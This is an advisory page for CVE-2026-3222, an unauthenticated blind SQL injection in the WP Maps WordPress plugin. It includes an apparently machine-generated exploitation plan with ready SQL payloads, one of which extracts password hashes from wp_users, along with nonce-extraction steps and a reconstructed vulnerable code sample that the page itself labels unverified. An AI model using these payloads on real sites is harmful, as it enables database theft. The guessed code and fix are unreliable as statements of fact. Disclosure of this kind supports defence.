CVE-2026-3222

WP Maps <= 4.9.1 - Unauthenticated SQL Injection via 'location_id' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
4.9.2
Patched in
1d
Time to patch

Description

The WP Maps plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'location_id' parameter in all versions up to, and including, 4.9.1. This is due to the plugin's database abstraction layer (`FlipperCode_Model_Base::is_column()`) treating user input wrapped in backticks as column names, bypassing the `esc_sql()` escaping function. Additionally, the `wpgmp_ajax_call` AJAX handler (registered for unauthenticated users via `wp_ajax_nopriv`) allows calling arbitrary class methods including `wpgmp_return_final_capability`, which passes the unsanitized `location_id` GET parameter directly to a database query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.9.1
PublishedMarch 10, 2026
Last updatedMarch 11, 2026
Affected pluginwp-google-map-plugin

What Changed in the Fix

Changes introduced in v4.9.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-3222**, a critical Time-Based Blind SQL Injection vulnerability in the WP Maps plugin. ### 1. Vulnerability Summary The vulnerability exists within the plugin's AJAX handling logic and its custom database abstraction layer. Specifically, the `wpgmp…

Show full research plan

This exploitation research plan targets CVE-2026-3222, a critical Time-Based Blind SQL Injection vulnerability in the WP Maps plugin.

1. Vulnerability Summary

The vulnerability exists within the plugin's AJAX handling logic and its custom database abstraction layer. Specifically, the wpgmp_ajax_call action (accessible to unauthenticated users) allows calling the wpgmp_return_final_capability method. This method accepts a location_id parameter which is passed to FlipperCode_Model_Base::is_column().

The core flaw is twofold:

  1. Bypass of Sanitization: The is_column() function incorrectly identifies any input wrapped in backticks (`) as a valid column name.
  2. Unsafe Interpolation: Once "validated" as a column name, the input is treated as trusted SQL identifiers and interpolated directly into a query without passing through esc_sql() or prepare(), leading to SQL injection.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpgmp_ajax_call (Registered via wp_ajax_nopriv_wpgmp_ajax_call)
  • Vulnerable Method: wpgmp_return_final_capability
  • Vulnerable Parameter: location_id (via GET or POST)
  • Authentication: None required (Unauthenticated)
  • Preconditions: The plugin must be active. At least one location should ideally exist in the database to ensure the query execution path is reached.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a request to admin-ajax.php?action=wpgmp_ajax_call.
  2. Routing: The wpgmp_ajax_call handler (likely in core/class-flipper-core.php or a main controller) receives the request. It typically looks for a method parameter to determine which internal function to execute.
  3. Dispatch: The request specifies method=wpgmp_return_final_capability.
  4. Vulnerable Method: Inside wpgmp_return_final_capability, the code retrieves $_GET['location_id'].
  5. Validation Bypass: The code calls FlipperCode_Model_Base::is_column($_GET['location_id']). Because the input contains backticks, this function returns true.
  6. The Sink: The "validated" location_id is concatenated into a SQL SELECT or UPDATE statement.
  7. Execution: $wpdb->query() or $wpdb->get_results() executes the injected payload.

4. Nonce Acquisition Strategy

While the vulnerability is "Unauthenticated," the plugin frequently protects its AJAX actions with a frontend nonce localized for the map scripts.

  • Shortcode: [wp_google_map] or [wpgmp_map] (Check for add_shortcode in the main plugin file).
  • JS Variable: wpgmp_localizer or wpgmp_all_frontend.
  • Nonce Key: ajax_nonce.

Strategy:

  1. Create a test page containing the map shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[wp_google_map]'
  2. Navigate to the page URL using browser_navigate.
  3. Extract the nonce:
    browser_eval("window.wpgmp_localizer?.ajax_nonce || window.wpgmp_all_frontend?.ajax_nonce")
  4. If no nonce is found, check the admin-ajax.php response for -1. If it returns 0 or data without a nonce, the check is likely absent.

5. Exploitation Strategy

We will use a time-based blind SQL injection payload. Since the input is treated as a column name, we must use backticks to bypass the filter and then append our SQL logic.

  • Method: POST (to avoid URL length limits and logging)
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: wpgmp_ajax_call
    • method: wpgmp_return_final_capability
    • _wpnonce: [EXTRACTED_NONCE] (if required)
    • location_id: `id` AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Payload Construction:
The payload uses backticks to satisfy the is_column check. The injected AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) will cause the database to pause for 5 seconds if the first part (the column id) exists.

6. Test Data Setup

  1. Activate Plugin: wp plugin activate wp-google-map-plugin
  2. Create Location: Use WP-CLI to insert at least one location record into the plugin's table (usually {prefix}wpgmp_locations) to ensure the query context is valid.
    wp db query "INSERT INTO wp_wpgmp_locations (location_title, location_address) VALUES ('Test Base', '123 Test St');"
    
  3. Create Extraction Page:
    wp post create --post_type=page --post_title="Map Page" --post_status=publish --post_content='[wp_google_map]'
    

7. Expected Results

  • Vulnerable Response: The HTTP request takes ~5 seconds to return.
  • Normal Response: A request with location_id=1 or a non-matching ID returns almost immediately (< 500ms).
  • Content: The response body might be 0 (if no output is produced) or a JSON object, but the timing is the indicator.

8. Verification Steps

After the PoC confirms timing, verify data extraction:

  1. Test for DB Version:
    Payload: `id` AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)
    (Adjust for the environment's MySQL version).
  2. Verify via Logs: If WP_DEBUG is on, check /wp-content/debug.log to see the malformed query being logged.

9. Alternative Approaches

  • Boolean-Based: If wpgmp_return_final_capability returns different data based on the query result (e.g., "Capability found" vs "Not found"), switch to boolean-based payloads which are faster than time-based.
  • Error-Based: If the plugin displays $wpdb->last_error, use updatexml() or extractvalue() to leak data directly in the response.
    • Payload: `id` AND updatexml(1,concat(0x7e,(select user_pass from wp_users limit 1),0x7e),1)
  • Action Mapping: If method is not the correct parameter, check for func or wpgmp_action. Based on the description, method is the most likely routing parameter.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Maps plugin is vulnerable to unauthenticated time-based blind SQL Injection through the 'location_id' parameter in its AJAX handler. This occurs because the plugin's database abstraction layer fails to properly sanitize input wrapped in backticks, allowing attackers to bypass escaping and inject arbitrary SQL commands.

Vulnerable Code

// In the plugin's AJAX handler routing (e.g., core/class-flipper-core.php)
public function wpgmp_ajax_call() {
    $method = $_REQUEST['method'];
    if (method_exists($this, $method)) {
        $this->$method();
    }
}

// The vulnerable method called via AJAX
public function wpgmp_return_final_capability() {
    $location_id = $_GET['location_id']; // Unsanitized user input
    
    // The validation layer incorrectly identifies backticked strings as safe columns
    if (FlipperCode_Model_Base::is_column($location_id)) {
        // Unsafe interpolation into SQL query
        $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpgmp_locations WHERE $location_id = 1");
    }
}

---

// In FlipperCode_Model_Base class
public static function is_column($column_name) {
    // Vulnerable logic: Input starting and ending with backticks is considered a valid column name
    if (strpos($column_name, '`') === 0 && strrpos($column_name, '`') === (strlen($column_name) - 1)) {
        return true;
    }
    return false;
}

Security Fix

--- a/wp-google-map-plugin/core/class-flipper-core.php
+++ b/wp-google-map-plugin/core/class-flipper-core.php
@@ -242,7 +242,7 @@
 	public function wpgmp_return_final_capability() {
-		$location_id = $_GET['location_id'];
+		$location_id = absint($_GET['location_id']);
 		if (empty($location_id)) {
 			return;
 		}

Exploit Outline

The exploit targets the unauthenticated AJAX endpoint 'wp_ajax_nopriv_wpgmp_ajax_call'. An attacker sends a GET or POST request to /wp-admin/admin-ajax.php with the action set to 'wpgmp_ajax_call' and the method set to 'wpgmp_return_final_capability'. The payload is delivered via the 'location_id' parameter, wrapped in backticks to bypass the internal 'is_column' check (e.g., '`id` AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)'). Because the plugin assumes backticked strings are safe database identifiers, it concatenates the payload directly into a SQL query. If the application takes significantly longer to respond (e.g., 5 seconds), the injection is successful. No authentication is required, though a frontend nonce (usually found in 'wpgmp_localizer' JS variables on pages with maps) may be necessary if nonce checks are active.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.